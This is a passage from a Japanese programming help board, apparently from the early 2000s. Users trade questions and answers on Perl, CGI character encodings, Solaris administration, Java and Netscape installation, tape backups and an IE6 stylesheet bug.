、ウ、・ヲヒ、チ、マ unpacked euc: a4b3a4f3a4 unpacked sjis: 8ea48eb38e eq: これはなぜでしょう? サーバーの OS は FreeBSD 2.2.8-RELEASE、 言語は jperl5.005_03-990612 EUC Version(Latin モードで使用)、 クライアントの OS は Windows 2000 server、 ブラウザーは Netscape Navigator 4.75 です。 |
|
今日は。 Awkで {AA [$1]++} END {for (BB in AA) ...........} とやると、AAの中に有る同じ名前のものが幾つあるか数えてくれると思うの ですが、Perlではどうやったら同じことが出来ますか? 例えば @array=(9, 9, 9, 3, 3, 3, 2, 2, 1) とすると、 9は3個、3は3個、2は2個1は1個あるので、 9=3 3=3 2=2 1=1 としたいのですが、宜しくお願いいたします。 |
|
>>2433 ミング さん: なんとなく似せて書くと #! perl @array = (9,9,9,3,3,3,2,2,1); for (@array) { $array2{$_}++; } for (reverse sort keys %array2) { print "$_=$array2{$_}\n"; } とか。 「ハッシュ」の機能を使っています。 @array の順番には関係なく、 常に大きな数字から出力していますがいいでしょうか。 (ハッシュを使うと、順不同になるので、、) |
|
>>2432 ふくし > Jcode::convert(\$str_sjis, 'euc', 'sjis'); 逆ですよー。 Jcode::convert(\$str_sjis, 'sjis', 'euc'); |
|
だれか、solaris8intel_platformをAT互換機で動作する、LANカードを 知っている方いらっしゃいますか? |
|
>>2435 68user あ、ほんとだ、、すみませんいつもいつも、、(_ _) で、 #! perl -w use CGI; use Jcode; my $q = CGI->new; print $q->header(); print $q->start_html(); print $q->start_form(-action=>'./answer.cgi'); $str_euc = 'こんにちは'; $str_sjis = $str_euc; Jcode::convert(\$str_sjis, 'sjis', 'euc'); print "euc: $str_euc <br>"; print "sjis: $str_sjis <br>"; print "unpacked euc: ".unpack("H10", $str_euc)."<br>"; print "unpacked sjis: ".unpack("H10", $str_sjis)."<br>"; print "eq:".($str_euc eq $str_sjis)."<br>"; だと euc モードで、どっちの「こんにちは」も正しく表示されるのは なぜでしょうか? |
|
>>2436 Bourbon どの程度「使える」資料なのかは知りませんが、 ハードウェア互換リスト (HCL) http://soldc.sun.com/support/drivers/hcl_ja/ というのがあります。 |
|
>>2437 ふくし > euc モードで、どっちの「こんにちは」も正しく表示されるのは > なぜでしょうか? http://x68000.startshop.co.jp/~68user/tmp/moji.cgi を見ても「こんにちは」が正しく表示されますか? もしそうなら、Netscape4 が自動変換しているのでしょう。Netscape4 は、 文字単位か行単位か知りませんが、ファイルの一部についても自動認識/ 自動変換を行っています。 FreeBSD+Netscape4、FreeBSD+Mozilla nightly build で上記 URL を 見ると、必ず片方は化けています。 |
|
68userさん HCLは知っていましたが、見落としている部分がありました。 じっくり読んでみます。ありがとうございます。 |
|
たびたびお世話になります。 おかげさまで、この前使えるようになったPPMで、ImageMagickモジュ ールをinstallして、使おうと思ったら、何にも反応なしで困っていま す。いろいろサイトを見て回りましたが、類似問題は見あたらず・・・。 環境は、Perl5.6.1(build631) Windows98です。 この環境に、PPMで、install Image-Magick してImageMagickを入れ ました。 C:\>ppm PPM>install Image-Magick です。 その結果、c:\perl\site\libにはimageディレクトリができていて、 その中にはちゃんとMagick.pmというのもあるようです。 それで、下のを実行してみたのです。 use Image::Magick; $i = Image::Magick->new; $i->Read('test.jpg'); $i2 = $i->Clone(); $i->Scale(width=>100, height=>100); $i->Write('test2.jpg'); すると、Perlそのものは正常に終了する(エラーは出ない)のですが、 test2.jpgはできてないのです。 ちなみに下のようなのも実行してみました。 use Image::Magick; $img = Image::Magick->new; $img->Read('test.jpg'); ($w,$h) = $img->Get('width','height'); print "Content-type: text/html\n\n"; print "<html><head><title>TEST</title></head>\n"; print "<body bgcolor=\"\#ffffff\">\n"; print "$w / $h\n"; print "<br></body></html>\n"; exit 0; こちらも、$wも$hも空でした。 test.jpgは存在しているし、どうしてうまく行かないのか、まった く見当もつかないので、これだけの情報では不足かもしれませんが、 何か分かる方おられましたら、ご指導ください。どうかよろしくお 願いします。 |
|
>>2439 68user さん、どうも。 たしかに両方化けずに見えています。 FreeBSD 版では片方化けるんですね。 なるほど、Windows 版 NC はファイルの一部も自動変換、、 しかもブラウザーが渡す URL の文字列は必ず sjis。 これがわかんなくてホボ一日ハマりました。 パラメタはあらかじめ変換しておくのを原則にすればよかったのですが、 表示を見て正しく EUC で入ってくるものと思い込んでいたのです。 |
|
>>2441 ぶぶ さん: 1本目のプログラムですけど動きましたよ、、;;; test.jpg がなくてもちゃんと動きますね。 その場合はおっしゃるような症状になります。 ということで、test.jpg があるディレクトリが カレント ディレクトリな状態で実行してないとか、、。 test.jpg を C:\test.jpg とかフルパスで指定するとどうなります? #これ便利だなー^^ |
|
ふくしさん、お返事ありがとうございます。 C:\〜\test.jpg のように、フルパス指定したら動きました。 あと、DOS窓では./test.jpgでもうまくいきました。 でも、CGIとしてAN-HTTPD(ver1.37c/PerlISを利用)を通して 動作させると、CGI(test.cgi)と同じディレクトリにtest.jpg がある時に、フルパスならうまくいくのに./test.jpgでは、やっ ぱりうまくいきませんでした。 で、いろいろやっていると、PerlIS.dllを使うとうまくいかず、 Perl.exeを使うとうまくいくことが分かりました。 PerlISの問題だったようです。 でも、とりあえず動作させることができたので、解決です。 ありがとうございました。 #ちなみに同じような処理(画像の縮小拡大)はGDでもできますが、 #jpeg画像を縮小したときの画質はGDよりImageMagickの方が、 #なめらかできれいでした。 |
|
>>2444 ぶぶ 解決したようですが、ふつーは $i = Image::Magick->new or die "$!"; $i->Read('test.jpg') or die "$!"; $i2 = $i->Clone() or die "$!"; などと、エラーチェックをするものです。 と書こうと思ったら、Read は存在しないファイルを開いても 0 を返さないから、die じゃあダメなんですね。 $ret = $i->Read('a.gifs'); とかして、$ret を調べて、 Warning 330: Unable to open file (a.gifs) [No such file or directory] とかを解析しないといけないらしいです。Image::Magick、ダメすぎ。 >>2443 ふくし > しかもブラウザーが渡す URL の文字列は必ず sjis。 http: //host/dir/hoge.cgi?ほげ とかですか? |
|
>>2445 68user さん: >> しかもブラウザーが渡す URL の文字列は必ず sjis。 > http: //host/dir/hoge.cgi?ほげ > とかですか? http://host/dir/hoge.cgi?hoge=ほげ とかです。 CGI には sjis で渡るのに、表示は正常に行なわれます。 |
|
どうも、ご無沙汰しております。yujiです。^^ お世話になっております。 現在、windows2000+apache+activeperlの環境において、 CGI(perl)からapacheの再起動等を行いたいのですが、 apacheのパスにスペースが入っているためか、 コマンドを実行できず、困っております。^^; 具体的には、 パスが、 d:\Program Files\Apache Group\Apache\Apache.exe のような形です。 実行部分は、 $cmd="d:\\Program Files\\Apache Group\\Apache\\Apache.exe -w -n \"Apache\" -k restart"; system($cmd); のような形です。 パスのスペース部分をアンダースコアに変更して試してみたりも したのですが、うまくいかないようでして。^^; それぞれのフォルダ名にスペースを含めないようにすれば、 解決できるのかもしれませんが、スペースがあった場合に 対応できないものか、と思いまして。 みなさんなら、どうされますか? もしよかったら、アドバイスを、 どうぞよろしくお願いいたします。 |
|
>>2447 yuji Windows で perl スクリプトを作ったことがないのでアレですが、 $cmd="\"d:\\Program Files\\Apache Group\\Apache\\Apache.exe\" -w -n \"Apache\" -k restart"; はどうですか? >>2448 68user > http://host/dir/hoge.cgi?hoge=ほげ まぁ、規格で定まっていない部分ですから仕方ないですね。 IE だと (設定次第ですが) UTF-8 で送ることもありますし。 |
|
>>2448 68user 初めて ActivePerl といふものでプログラムを組んでみました。 やはり "" で囲めばよろしいようで。 DOS 窓から C:\> d:\\Program Files\\Apache Group\\Apache\\Apache.exe とするとダメだけど、 C:\> "d:\\Program Files\\Apache Group\\Apache\\Apache.exe" なら OK、というのと同じですね。 |
|
>>2448 68user さん: >> http://host/dir/hoge.cgi?hoge=ほげ >まぁ、規格で定まっていない部分ですから仕方ないですね。 >IE だと (設定次第ですが) UTF-8 で送ることもありますし。 えーそうなんだ、、それは困るな。 やっぱり世間の検索エンジンみたいに hoge=%A4%BD%A4%B2 とかすべきですね。 日本語キーにするなって話もありますが。 |
|
68userさん、アドバイスありがとうございます。^^ おかげさまで、無事コマンドを実行することができました。 DOS窓でもスペースがある場合、実行できなかったため、^^; スペースを、区切りではなく文字列の一部と認識させるために、 "で括る方法、とても勉強になりました。^^ |
|
>>2451 yuji Windows 2000 とかだと、エクスプローラーでフォルダをドラッグし、 コマンドプロンプトにドロップすれば、 "c:\WINNT\program files\" などと "" 付きでフルパスが展開されます。エクスプローラーで ファイルのフルパスを簡単に取得する方法はないのかなぁ。 >>2450 ふくし > hoge=%A4%BD%A4%B2 とかすべきですね。 そうですね。ただ、詳しくは知らないんですが、遷移先にどんな文字 コードを使っているかを伝えられるような送信方法もあったはずです。 RFC になってたかなぁ。 今日の大発見: cd - で一つ前にいたディレクトリに戻れる! (sh, csh, tcsh で確認) これは知らんかったなぁ。 |
|
file.1 file.2 ... file.9を一括で file-1 file-2 ... file-9に変換したいのですがどうすればよいでしょう? 稚拙な質問で申し訳ありません 使ってるのは tera term です。 |
|
>>2453 宮村 TeraTermにそんな機能はないだろ。 |
|
No. 2453 # 宮村 ここなど参考にしてみては。 http://www.nurs.or.jp/~asada/FAQ/UNIX/section2.6.html |
|
>>2454 * そういう物言いをしたいなら、2ch へどうぞ。 |
|
できました。教えてくれた方、ならびにカキコ有無にかかわらず少しでも考えてくれた人とてもありがとうございました。これで単位がもらえます。 |
|
はじめまして、とっしーです。 知っている人がいたら、何かいいお知恵をお願いします。 CGI上でソケット通信をして、他のサーバからデータを取り込み ブラウザ上にてデータ表示をしているのですが。 ソケット通信をするサーバが2個あり1番目のサーバタイムアウト後 2番目のサーバに対してソケット通信をしたいのですが、 sub aaa{ $SIG{ALARM} = sub{exit 1;}; alarm($timeover); $socket = IO::Socket::INET->new(); 〜 } 上記のようなタイマでタイムアウトを検出しても、このサブルーチンの 起動元までリターンしません。(T_T) 起動元までリターンするような、プログラム方法等があればお教えください。 |
|
>>2458 とっしー うーん、まずは exit してプロセスが終了してるんだから、 どこにも戻りようがない、というところから始めましょうか。 で、どう書くのが正しいのかなぁ。 |
|
はじめまして。かいとです。 こちらのサイトにある「HTTPクライアントを作ろう(C言語版)」を利用させていただきました。 ありがとうございます。そこで、1つ質問なのです・・・・ connect()でタイムアウト時間を指定したいのですが、できるのでしょうか? ちなみにOSはSolaris2.7、コンパイラはWorkshopのccを使ってます。 どうぞよろしくお願いします。 |
|
>>2460 かいと ノンブロッキングソケットを使うと、connect を呼ぶとすぐに 制御が帰ってきます。僕はノンブロッキングソケットを使った ことがないので、これをキーに検索してみて下さい。 |
|
初めまして。snowと申します。 今、8ビットJISで作成されたファイルをSJISのファイルに変換しようと思っているのですが、中々上手く行きません。どなたか教えて下さい。お願いします。 因みに今までは、Pro*Cのプログラム上で、単語毎にjis8touj関数を使用していました。 |
|
>>2462 snow jis8touj って何かと思ったら http://ecip01.cc.kurume-it.ac.jp:8888/ab2/coll.141.9/JFPDEV/@Ab2PageView/2444? これですか? Solaris only の、しかもあまり利用者が多そうでない ライブラリの話なのですから、何がどううまくいかないか 書かないと回答はもらえないでしょう。 |
|
基本的なことで、ほんとにすいません。どなたか、solaris8のGUIで Windowsのような[Print]、[Alt]+[Print]のようなハードコピーを するやり方をご存知の方は教えてください。よろしく |
|
>>2464 # Bourbon まったく知らない領域のことなのですが、恥を忍んで。 「Solaris ハードコピー」で検索をかけた限りでは http://www.advac.co.jp/download/gpr_dl.htmlのような プリントサーバソフトウェアにはそういった機能が 付いていることが多いようです。 こんなのも見つかりましたが、参考になるでしょうか。 http://www.aitech.ac.jp/ie/~milabo/unixmanual/man0.html#19 |
|
>>2464 Bourbon さん: solaris じゃなくって Linux でしたけど、 やはりハードコピーが必要になって gimp というペイントソフトの 機能を使ったらできました。 solaris で gimp は走ったかなー? |
|
Perl の質問です。 わけあって、プログラムの終端に goto で飛んでいます。 (CGI なので、exit だと、mod_perl に移植したときに mod_perl ごと死んでしまうと聞いたので) で、 goto FIN if(事情); ... FIN: sub サブルーチン { ... } と書くと、サブルーチン定義のところで syntax error になるんですが、 goto FIN if(事情); ... sub サブルーチン { ... } FIN: だと大丈夫です。なぜでしょうか〜? |
|
>>2464 Bourbon xwd とかじゃあダメですか? あるいは Solaris と Windows 両方に VNC を入れて、Windows 側から Solaris の画面を キャプチャ、とか。Solaris 標準の CDE でキャプチャする 方法は知りません。 >>2467 ふくし perl の構文解析のバグなんでしょうね。 FIN: ; sub サブルーチン { なら OK のようです。 |
|
ちょっと脱線A^^; >>2466 ふくし 会社のSolaris(多分8)では、gimpが立ち上がりました(親切な方がコンパイルしてくれたっぽい)。 とはいえ、 >>2467 ふくし CDEは嫌いなので使ってないので、CDEの標準な方法は知りません・・・ |
|
>>2469 の、 >>2467 ふくし は、 >>2468 68user の間違いです。汚してしまって、すみません。 |
|
>>2468 68user さん: お、バグですか!^^ 最新バージョンで試してレポートしちゃる!^^ >>2469 へにか さん: gimp 走りますか! 最近 solaris が増えてきたので、 役に立つかも。Alt+ScreenShot 系のキャプチャーは gimp に限ります。そぅとぅ〜便利です。 そのまま流れるように編集できるし。 最近なんか solaris の仕事多いんだけど気のせいかな? ココの問い合わせも増えてますよね。 |
|
>>2467 ふくし http://www.din.or.jp/~bigstone/cgilab/cgitips/mod_perl1.html ここの・・・ 8. exit()は使用できない exit()は使用できません。代わりに Apache::exit()関数が用意されています。 以下の判定でexit関数を他の関数にオーバライドできます。 use subs qw(exit); *exit = $ENV{MOD_PERL} ? \&Apache::exit : sub { CORE::exit }; |
|
>>2472 * さん: ありがとうございます! それは使えそうですね。 use Apache するのかな。(あ、調べますしらべます ^^) |
|
いつもお世話になります。 solarisでマシンにSICIカードを取り付けテープデバイスに装着させる場合、マウントするにはどのようにすればよいでしょう? 簡単でよいので教えてください。 |
|
>>2474 fairytale テープって mount できるんでしたっけ。 僕はいつも mount せずに % tar cf /dev/rmt/0 . とかやってますが。 |
|
tar cvf - . | ...と書いてある‘-‘の意味を教えて下さい。 |
|
>>2476 tarbo 標準入力 or 標準出力です。 大抵、man tar の -f オプションのところに書いてあります。 |
|
始めまして。ツバサと申します。 さっそくですが、質問させて下さい。 こちらのネットワークプログラミングの基礎知識を元にFTP送信処理をC言語で作成しています。 あるマシンへの送信が上手く行かないのです。 PORTコマンドのレスを読み込む時にread関数でエラーになってしまいます。 レスが返って来ないという事があるのでしょうか? ユーザーの認証などでは問題なくレスを取得できているようなのです。 それも、そのエラーが出るのはある特定のマシンへの時だけです。 何かお分かりになる事がありましたら、お願いします。 あいまいな質問で申し訳ありません。 |
|
すみません。 No.2478の書き込み時に遊び用のHNで送信してしまいました。 なので、内容で名乗っている名前と表題に出ている名前とが 違っています。 こんな理由なので、ご容赦下さい。 |
|
質問があります。 solaris2.6で例えば自マシンの/dev以下に、他マシンの/etc以下を mountする時の、書式を教えてもらえないでしょうか?すみません |
|
>>2478 まい > PORTコマンドのレスを読み込む時にread関数でエラーに > なってしまいます。 「エラー」って具体的に何が起こるんですか? >>2480 ui > solaris2.6で例えば自マシンの/dev以下に、他マシンの/etc以下を > mountする時の、書式を教えてもらえないでしょうか?すみません NFS を使いたいわけですか? ならばこちらなど。 http://www.google.com/search?hl=ja&q=mount+solaris2.6+nfs&lr=lang_ja でも、/dev に /etc を mount するのは多分うまくいかないと 思いますよ。デバイスにアクセスできなくなるし。 |
|
68userさん ありがとうございます。 勉強します。 |
|
68userさん、ありがとうございます。 read関数の戻り値が-1だったのですが、errnoを刈り取っていなかったので、 実ははっきりとしたエラー原因がわかっていないのです。 今、そのエラーが出るマシンでのテストができない状況にあるので、確認する 事もできずにいます。 何か情報がつかめましたら、また質問させていただきたいと思っていますので、 よろしくお願いします。 |
|
>>2483 まい > read関数の戻り値が-1だったのですが、errnoを刈り取って > いなかったので、実ははっきりとしたエラー原因がわかって > いないのです。 そうですね。errno の値に加えて、再現性があるかどうかなども はっきりしないので、もうちょっと調べてみて下さい。 |
|
いつも、お世話になっています。質問があるんですが・・・ 「Solaris2.6」の環境で動画ファイル(.aviなど)をファイルに落とす 方法がありますか? 「spilt」をやってみても、膨大なファイルの量になってしまいます。 何か、良い方法があったら、教えてください。 |
|
(質問) テープ装置がない端末でテープ装置がある端末のテープ装置にマウントするにはどうしたらよいでしょうか? どなたか教えてください、よろしくお願いします。 なお、端末同士の、mountは一応出来ます。 |
|
いつもお世話になっています。質問です。 perlbug コマンドを使って Perl エンジンのバグを起票したのですが、 Connected to ???.???.???.??? but sender was rejected. Remote host said: ???.???.???.??? Your site is blacklisted as a spam haven. と言われて生成したメールが受け取られませんでした。 お前が使っているサーバーは spam の踏み台になるサイトとして ブラックリストされているので、メールを受信しないということのようですが、 http://www.ordb.org で調べてもどこにも使っているサーバーを発見できませんでした。 また、サーバーの管理者にも連絡を取りましたが(Microsoft Exchange です) そのようなクレームは見当がつかないと主張していました。 perl.com がどのような論理で上の拒否を行っているか知りたい、 できれば担当者にメールして聞きたいのですが、 どうすればいいかお分かりでしたらご教示ください。 |
|
いくら現在は大丈夫だと主張していても、過去にそんなことが あったのかもしれません。。 管理人に、不正中継をしないことをよーく確認してから、 削除要求を出すように言うしか方法はないと思うんだな。 どこかの不正中継リストに登録されちゃっているから拒否されるんだから、 perlbugやらのMLを探したら、どこを見ているかがわかるのかな・・ |
|
>>2485 yuusuke > 動画ファイル(.aviなど)をファイルに落とす方法がありますか? 「動画ファイルをファイルに落とす」ってどういう意味ですか? 「動画ファイル」というからには既にファイルになっていると思うのですが、 split が出てくるところを見ると「フロッピーディスクに落とす方法」を 知りたいのですか? >>2486 usr mount する必要はなくて、 http://www.wakhok.ac.jp/~maruyama/Super/section2.10.3.html じゃあないでしょうか。 >>2487 ふくし http://dbforums.com/archive/95/2001/08/1/116085 によると、perlbug@perl.org に手動で送ればよいのではないでしょうか。 http://archive.develooper.com/perl5-porters@perl.org/msg06972.html によると、 http://www.mail-abuse.org/ じゃないでしょうか。 # どちらもちゃんと英文を読んでいないので、違ったら失礼。 |
|
解答ではないですが。 >>2485 yuusukeさんの質問は、恐らくは動画から静止画を 抜き出したいということではないでしょうか。 |
|
>>2489すみません。その通りです。フロッピーに落とす方法を教えてください。 いろいろとご迷惑をお掛けしてすみません。(CZさんを含み) |
|
>>2491 yuusuke > フロッピーに落とす方法を教えてください。 ならば、split すればいいと思います。 「膨大なファイルの量」になってしまうのは、元ファイルが 大きければそれは仕方がないでしょう? 何に困っているのか まだわからないです。 |
|
はじめまして Hiroといいます。 Solaris2.6上に、JAVAサーブレットの環境を構築したいと思っています。 j2sdk-1_3_1_02_solsparc.sh を使ってインストールしました。 その結果 j2sdk1_3_1_02 というディレクトリが作成されインストールもできたようでした。 しかし、バージョンを確認するため java -version というコマンドを打ってみると javaversion"1.1.3" と返って来ます。 (javaversion"1.3.1"とかえってきてほしいのですが) おかしいと思いよく確認したところ、2.6のインストールディスクにデフォルトでJAVA(の古いバージョン)が入っていたようで、 /usr/java1.1/ というディレクトリに古いバージョンがインストールされていました。 こういう場合、今からでも古いバーションをアンインストールする方法というのはあるのでしょうか? |
|
↓すみません、よろしくお願いします |
|
>>2493 Hiro /usr/local/ で j2sdk-1_3_1_02-solsparc.sh を実行すれば /usr/local/j2sdk1_3_1_02/ ができますよね。で、 /usr/local/j2sdk1_3_1_02/bin/ に PATH を通せばよいです (/usr/bin/ より前に)。 しかし、今後新しい JVM と置き換えることを考えると、 - /usr/local/java -> /usr/local/j2sdk1_3_1_02 という symlink を張る。 - PATH には /usr/local/java/bin を通しておく。 - /usr/bin/java は /usr/java/bin/java への symlink で、/usr/java は /usr/java1.1 への symlink なので、誤って古いものが起動しないように /usr/java を削除。それでも心配なら /usr/java1.1 をリネームするか、 ばっさり削除。 がいいんじゃないでしょうか。 |
|
>>2495 68user 68userさん、ありがとうございます。 今、手元にSolarisがなく、夜にでも試してみたいと思います。 ところで、御回答いただいた内容からすると、ばっさり削除にひかれました(あまりスキルがないので、万が一誤動作したら自分で気づきづらいので・・)。 しかし、Solarisにおけるアンインストールの仕方というのは、わたしはよくわかっていません。アドバイスいただきましたように、/usr/java を削除し、/usr/java1.1をばっさり削除、というので、システムそのものへの影響というのはとくに考えなくともいいのでしょうか? すみません、UNIXはよくわかっておらず、とんちんかんな質問をしているかもしれません。 わたしはWindowsの感覚でしかわかっていないので、少し気になってしまいました。 |
|
>>2492 68userさんへ 実は、動画ファイルをWindowsのパソコンで見れるようにフロッピーに 落とそうとしたのですが、splitをして出来たファイルがかなりの数に なって、一つのフロッピーには収まりませんでした。こういう場合、ど うすればいいのか。また、フロッピーに落としたファイルをWindows上 でどのように結合すればいいでしょうか。まだ、UNIXの経験が浅い為、 いろいろと面倒を懸けてすみません。 |
|
] |
|
>>2497 yuusuke さん: はずしてたらすみません。 split というのはしらないんですけど、 lha かなんかで圧縮してから tar の -M オプションでマルチボリュームに分割して Windows 側で tar.exe(あるらしいです)で戻して lha かなんかで戻すという作戦はいかがでしょう〜 |
|
>>No. 2495 現状報告します。 まず、 /usr/java1.1 /usr/java の二つは、ざっくり削除しました。 その後、 /usr/local/java -> /usr/local/j2sdk1_3_1_02 という symlink を張ると同時に /usr/java -> /usr/local/j2sdk1_3_1_02 という symlink を張りました。 なのでパスは変更していません。 以上をしてからバージョンを確認したところ、きちんと1.3.1との表示がでました。 次にtomcatがちゃんと動くかどうか確認しようとしました。 そのためにhotjava(デフォルトで入っていたブラウザ)を立ち上げようとしたところ、これについては立ち上がらなくなっていました。 なので先ほどNetscapeをゲットしてインストールしようとしているところです。 以上、現段階のご報告まで。 もう少しすすんだらまたここでご報告します。 |
|
tarでbackupを採る時にtapeを2本目につずけて採る事はできないのでしょうか? |
|
>>2497 yuusuke > splitをして出来たファイルがかなりの数に > なって、一つのフロッピーには収まりませんでした。 ファイルサイズが問題なのではなく、ファイル数が多くなりすぎた のが問題なのですか? split -b 1400k などと、1ファイルごとのファイルサイズを指定 できますが、それは使いましたか? (1400k より小さくしないと フォーマット済 1.44MB FD には入らないかも) >>2500 Hiro > /usr/java1.1 > /usr/java > の二つは、ざっくり削除しました。 あら、消しちゃいましたか。念のため、/usr/java1.1.old などと リネームしといた方がよいかと思ったのですが、まぁ問題ないですかね。 Solaris2.6 標準の重要なプログラムで java を利用するアプリはない でしょうし。 うちの場合、1.3.1 のつもりで使っていた java コマンドが実は 1.2 だった (PATH の設定をミスっていた) という情けない失敗もあったりします。 ところで J2SE 1.4 リリースですね。 http://java.sun.com/j2se/1.4/ja/index.html Servlet 屋としては正規表現、XML、ロギング API あたりがよさげでしょうか。 まぁこれまでは Perl5Util や Log4j を使っていたのであまり変わりはない ですけど、なんにせよ標準になるというのはよいことです。 |
|
テスト |
|
↓ごめんなさい。間違えました。 話は変わりますが、いつも参考にさせていただいてます。 これからも参考にさせていただきます。 |
|
No. 2502 あのう、ざっくり消した件ですが、hotjavaが立ち上がらなくなったのが影響といえば影響です。 どういう関連でこうなっているのか正確な原因は理解できていません。 明日の夜にまたSolarisをいじる予定です。 |
|
>>2505 Hiro > どういう関連でこうなっているのか正確な原因は理解できていません。 HotJava は Java で書かれたブラウザで、実行するためには JDK (というか JRE) が必要だからです。起動できなくなったのは、 - JDK1.1 と J2SE 1.3 の仕様の違うから - 単に HotJava が (J2SE 1.3 の) java コマンドを見付けられないだけ のどちらかでしょう。 JDK1.1 を入れ直したかったらこちらから。 http://java.sun.com/products/jdk/1.1/ ただし、現在は 1.1 系列最新の 1.1.8 しか落とせないようです。 他のマシンか、インストール用 CD-ROM から java1.1 だけ 持ってくるのが早いかもしれません (CD-ROM から一部だけ 抜き出すことはできるのかな?)。 |
|
>>No. 2506 HotJavaが立ち上がらない理由はそういうことなのですか。 JDK1.1を入れなおすと、わたしはまたパスの設定で混乱してしまうかも しれないので、とりあえずはネットスケープを入れるよう努力してみます。 今晩Solarisをいじりますので、また明朝にでも報告します。 |
|
「ネットワークプログラミングの基礎知識」に「UDP を使ってみよう」を 追加しました。 http://X68000.startshop.co.jp/~68user/net/ |
|
ネットスケープですが・・ Some localized components (NetHelp, etc) can not be installed at this time. Re-run this script if you'd like to try again. というメッセージがでてインストールできませんでした。 ネットでいろいろ調べたところ、SunのEnglishサイトにバイナリ版 のネットスケープがあったので、ダウンロードしようとしたところ、 まず登録せよとでました。 で、登録して、ログインしようとしたら、できません(泣) それでさきほどSunのカスタマーへ問い合わせのメールを送ったところ です。ここまでで作業はとまっています。 また今晩いじる予定です。 しかし、なかなかすすまない。とほほ。 |
|
>>2509 Hiro Netscape Navigator/Communicator 4.79 は http://sunsite.sut.ac.jp/pub/archives/WWW/netscape/communicator/english/4.79/unix/supported/ から落とせます。Solaris 2.6 用はありませんが、2.5.1 用が そのまま使えるはず。 日本語化したければ、日本語リソースをこちらからどうぞ。 http://www.imasy.or.jp/~mistral/netscape/download.html 上記ページには > SunOS 5.5.1 用に はバージョンによっては直接 Netscape から > 日本語化キットも出ていますので、これ をそのまま使うことも > できます。 とありますが、見付けられませんでした。 |
|
>>2510 68user ありがとうございます。 日本語化の方は4.76が最新なんですね。 ということは英語の方も4.79じゃなくて4.76にしといたほうがいいのだろうか? pkgではないので苦戦しそうですが(苦笑)今晩トライしてみます。 |
|
結局、SunのEnglishサイトから紆余曲折の末ダウンロードすることが できました。まだインストールはできていませんが・・ 明後日の夜にまたいじる予定なのでその後また報告します。 |
|
わけあって他人が書いた MacPerl のスクリプトを 明日までに Unix で動かして結果をレポートしなければならないんですが、 ある入力データセットだとなんとなくうまくいくのに、 別の入力データセットだと Out of memory! になります。 スクリプトの中を一生懸命見る時間がちょっとありません、、。 こんな状態でも、スクリプトをいじるだけですむ Out of memory! の安直な回避法はひょっとしてあるでしょうか? FreeBSD 2.2.8-release Perl 5.6.0 です。 確かに仕事のやり方がまずいんですけど、 ちょっとあせっているのでご教示くださいお願いします、、。 |
|
>>2513 ふくし unlimit とか ulimit でメモリ制限を解除してみるとか。 それで無理なら、別バージョンの perl を使ってみて、 それでも無理なら地道にスクリプト修正します。僕の場合。 |
|
このサーバ、えらい時間がくるってるなぁ。 |
|
>>2514 68user さん:いつもお世話になります。 unlimit で一発でした、、(^^) 誰にどう迷惑掛けてるか知らんけど、 今日は会社にぼくひとりなんでこれで乗り切ります。 大変助かりました! |
|
>>2515 68user ntpdは動いてるの? |
|
>>2517 名無し 動いていません。 で、さっき動かしましたが、うまく設定できませんでした。やれやれ。 |
|
いつもすみません。また質問です。 FrameMaker という DTP ソフトの文書から WebWorksPublisher というソフトウェアで自動生成した HTML の一部が、Web ブラウザの中で改行してくれません。 |こんにちは、赤| |ちゃん、私がマ| |マよ | ↑こうなってほしいのに |こんにちは、赤|ちゃん、私がママよ | | | | ↑こうなってしまう、、 なにぶんにも機械が生成する HTML なので、 人間が肉眼で見ることは難しいのですが、以下のことがわかっています。 ・NC で見たときは(スタイルシート有効無効に関わらず)正常に見える ・IE でもスタイルシートを有効にしたときのみ異常に見える もし何かわかりましたらお教えください。 |
|
>>2519 ふくし また自作自演ですみません。 css のなかに .code {whitespace:pre} と書いて、HTML の中に <span class="code">〜</span> と1個でも書くと、 それ以外でも全部 pre 属性になるようです(IEでは)。 IE のバグ説です。 |
|
>>2520 ふくし もう少しspecificになりました。 次の条件が揃うと起きるようです。 ・IE6 でブラウズする(NC、NE5以下ではオッケー) ・<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "xhtml1-transitional.dtd"> で始まる ・<table> の中で <span class="code">~</span> を使って文字を修飾している ・stylesheet(今回は content.css)の code クラス定義で white-space:pre;(ホワイトスペース文字で改行しない)が定義されている この条件が揃うと、行がどんどんどんどん伸びていくという 不具合が発生します。 <span class="code">~</span> の変わりに <code>~</code> だと大丈夫ですが、 それだと字がちょっとちっちゃくなります。 |
|
うーん・・ けっきょくまだネスケをインストールできていません・・ データは入手できたのですが・・インストールの仕方がなんだかよくわからなくて・・ また今日の夜トライします。 |
|
買い物カゴシステムでCGIを利用していますが、品目を選んで一度COOKIEにデータが送られた後、再度違う品目を選んでCGIにそのデータを送ると、前のデータが上書きされ、(?消え、)前に選んだ品目は無くなり新しいデータのみになってしまいます。複数のページから品目を選んだり、後から選んだ品目を追加できるようにしたいのですが良い方法はありませんか?また、反対に一度COOKIEに送られたデータはどういう仕組みで空になるのでしょうか?自分でも一応調べてみてはいるのですが、PEALにあまり詳しくないので、どなたかご存じの方がいらっしゃいましたら教えていただけませんか。よろしくお願いします。 |
|
>>2520 ふくし 僕は HTML とか SGML とかには全く詳しくないので、 ここで質問しても何も得られない可能性は高いですよ。 # 質問するなと言っているわけではありません。 >>2523 りんりん マルチポストうざーい。 http://www.parkcity.ne.jp/~chaichan/qanda/qa2516.htm |
|
>>2524 68user さん: ええと、ここは68userさんにそれ以外の人が質問する部屋ではなくって ;;; (時々そうなのかな、と錯覚しそうになりますが ;;; 一応みんなで意見の交換、知識の共有をする部屋ですよね。 あと、HTML/SGML は一応ここのお題に即してますよね。 ということで、書かせてもらいました。いつもお世話になっております。 ちょっとは答える方でも活躍しようといつも思っているのですが、 かえって半端な知識を披瀝してご迷惑を掛けているケースも ままあるようで恐縮です。;;; 精進しますので、よろしくお願いいたします。 |
|
http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse 自分で情報の共有、とかなんやら言ってるんだから、 すべての投稿に対して、ここはおいらが管理人なんだーみたいに レスしてるみたいだけど、それなら、メールで質問してもらって、 回答を掲載すればいいだけだな。 わざわざ、「掲示板」を設置しているんだから、みんなから情報を 集めようとしてるんでしょ?。 |
|
